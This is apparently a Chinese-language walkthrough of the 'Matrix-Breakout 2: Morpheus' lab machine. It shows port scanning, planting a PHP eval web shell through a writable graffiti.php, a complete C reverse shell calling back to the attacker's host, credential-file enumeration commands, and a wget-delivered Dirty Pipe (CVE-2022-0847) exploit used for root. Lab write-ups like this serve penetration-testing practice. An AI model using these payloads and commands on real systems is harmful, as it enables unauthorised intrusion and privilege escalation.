#黑客帝国:逃出绝命镇2:墨菲斯
一、信息收集
1.目标信息
arp-scan -l

nmap -sV -p- 192.168.21.151
rustscan -a 192.168.21.151

whatweb 192.168.21.151 -v
没有发现CMS信息

二、从web寻找入手点
1.网页信息
(1)80端口网页信息

(2)81端口页面信息
第一个是一开始访问的包,第二个是输入user和pass后的包,两个包的长度没有区别,网页代码也全部都是静态代码,直接坐实这是一个诱导页面


没有找到一点线索
2.域名扫描
dirsearch -u http://192.168.21.151 -i 200
发现rbots.txt

啥也没有

3.域名爆破
ffuf -u http://192.168.21.151/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.php
这里发现点不一样的graffiti.php,graffiti.txt


4.BurpSuite抓包

这两个是随便输入提交的,可以发现这里是输入到了graffiti.php中,再次访问一下这个页面

两次输入都在这里,这里先上传一句话试一下

<?php @eval($_POST[kali]);?>
这里的php被过滤掉了,但是服务器做了高亮处理说明服务器是解析过的,但是试了很多编码绕过但是都不行,但是发现这里有一个xss注入漏洞,但是对于这次渗透并没有任何卵用
这里和上次没有一句话是有区别的,中间多了一行吧,没显示出来

继续回到burp看包,我刚才输入了gogogogogogo然后在这里显示出来了,后面跟了个graffiti.txt说明是写到了那,我们修改一下

我们将一句话直接写入到graffiti.php中了,然后我们拿蚁剑连接一下成功了
三、寻找提权点
1.图片隐写
ps:这个没有任何卵用哈,纯粹浪费时间的
在根目录下找到一个flag1,这里有一个隐藏的图片,去拿下来

提示翻译
第一面旗子到手!
你已经成功进入了这个系统。现在的问题是:为什么Cypher要把其他所有人都锁在系统外面?
你的下一个任务是:
找到Cypher的密码 - 看起来他把密码给了Agent Smith,这样Smith就能知道在哪里跟他见面
从80端口的网站上下载一张图片 - 这张图片里藏着另一面旗子
图片地址:
http://192.168.21.151/.cypher-neo.png
(1)二进制、图像表面检测
从表面看不到什么

先从图片内部内容入手吧
strings hack.png | grep flag strings hack.png | grep FLAG
没有任何的输出

xxd hack.png | head -10 xxd hack.png | tail -10
文件头和文件结尾没有问题

然后去网上查找图片隐写的一些文章时,突然想起那我是可以查找一下有关压缩文件的一些关键部分的
xxd hack.png | grep 7z xxd hack.png | grep PK xxd hack.png | grep Rar

现在越看越头大了,有7z和PK的关键字,不过没有连着的377abcaf271c、504B0304,所以这个还是算正常的,这些关键字算巧合,然后再去了解了一下,发现:数据嵌入(可能看不到签名)、LSB隐写(肯定看不到签名)
先来一个一个试
(2)检测LSB隐写
zsteg hack.png zsteg -a hack.png #全面检测
zsteg检测结果显示没有发现LSB隐写数据
如何区分是否有LSB隐写数据

(3)检测嵌入隐写
binwalk hack.png -e #自动提取
binwalk检测结果也认为没有嵌入隐写
如何区分正常zlib和隐藏zlib

到这里测试完毕,所以这是一个正常的PNG文件,歪日了!!!不过也算小有收获啊,拓展了一下知识面
2.收集系统信息
(1)反弹shell
我是用的c语言反弹shell
#include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> int main() { int sockfd; struct sockaddr_in server_addr; // 创建socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket创建失败"); return 1; } // 设置目标地址和端口(您的Kali信息) server_addr.sin_family = AF_INET; server_addr.sin_port = htons(7777); // 您的监听端口 inet_pton(AF_INET, "192.168.21.160", &server_addr.sin_addr); // 您的Kali IP // 连接到Kali if (connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) { perror("连接失败"); close(sockfd); return 1; } // 重定向标准输入输出错误到socket dup2(sockfd, 0); // stdin dup2(sockfd, 1); // stdout dup2(sockfd, 2); // stderr // 执行shell char *args[] = {"/bin/sh", NULL}; execve("/bin/sh", args, NULL); // 如果execve失败 perror("execve失败"); close(sockfd); return 1; }

python -c "import pty;pty.spawn('/bin/bash')"
(2)查找SUID权限
查找具有SUID权限的二进制文件,没有可利用文件
find / -perm -u=s -type f 2>/dev/null

uname -a # 全部系统信息 uname -r # 内核版本 uname -m # 系统架构 cat /proc/version # 更详细的内核和编译器信息
cat /etc/os-release # 系统发行版信息 lsb_release -a # LSB系统信息 cat /etc/issue # 系统登录信息 hostnamectl # 主机名和系统信息
用户信息 whoami # 当前用户 id # 用户ID和组信息 who # 登录用户 w # 登录用户及活动 last # 登录历史 权限信息 sudo -l # 查看sudo权限 cat /etc/passwd # 所有用户 cat /etc/group # 所有用户组 cat /etc/sudoers # sudo配置
# 查找SUID文件 find / -perm -4000 2>/dev/null # 查找可写文件 find / -writable 2>/dev/null | head -20 # 检查历史命令 history cat ~/.bash_history # 环境变量 env # 检查PATH中的可写目录 echo $PATH | tr ':' '\n' | while read dir; do ls -ld "$dir" 2>/dev/null; done # 检查可写的bash配置文件 ls -la ~/.bashrc ~/.profile /etc/bash.bashrc /etc/profile 2>/dev/null # 检查系统服务脚本 find /etc/init.d -type f -writable 2>/dev/null find /etc/systemd/system -type f -writable 2>/dev/null # 检查cron作业目录 ls -la /etc/cron* ls -la /var/spool/cron
cat /etc/passwd

3.搜索漏洞
直接查看系统的信息吧
uname -arm
系统内核是5.10.0-9-amd64
searchsploit Linux 5.10.0-9
刚好我们的目标Linux版本在这个里面,然后我们可以利用它

searchsploit -p 50808

任意只读文件覆写漏洞(CVE-2022-0847)
参考文章:
获取权限
gcc -o exp /usr/share/exploitdb/exploits/linux/local/50808.c #编译 python3 -m http.server 80 #开启http服务 #但是出现一个问题就是kali的gcc版本高些,在目标机器无法运行,然后 #我将源码放到目标机器上又缺失一些东西不能够完成编译,所以这里要在 #攻击机上使用静态编译。 gcc -static -o exp /usr/share/exploitdb/expoits/linux/local/5080.c
wget 192.168.21.160/exp #下载exp chmod +x exp #给执行权限 find / -perm -u=s -type f 2>/dev/null #查找SUID二进制文件 ./exp /usr/bin/gpasswd
拿到root权限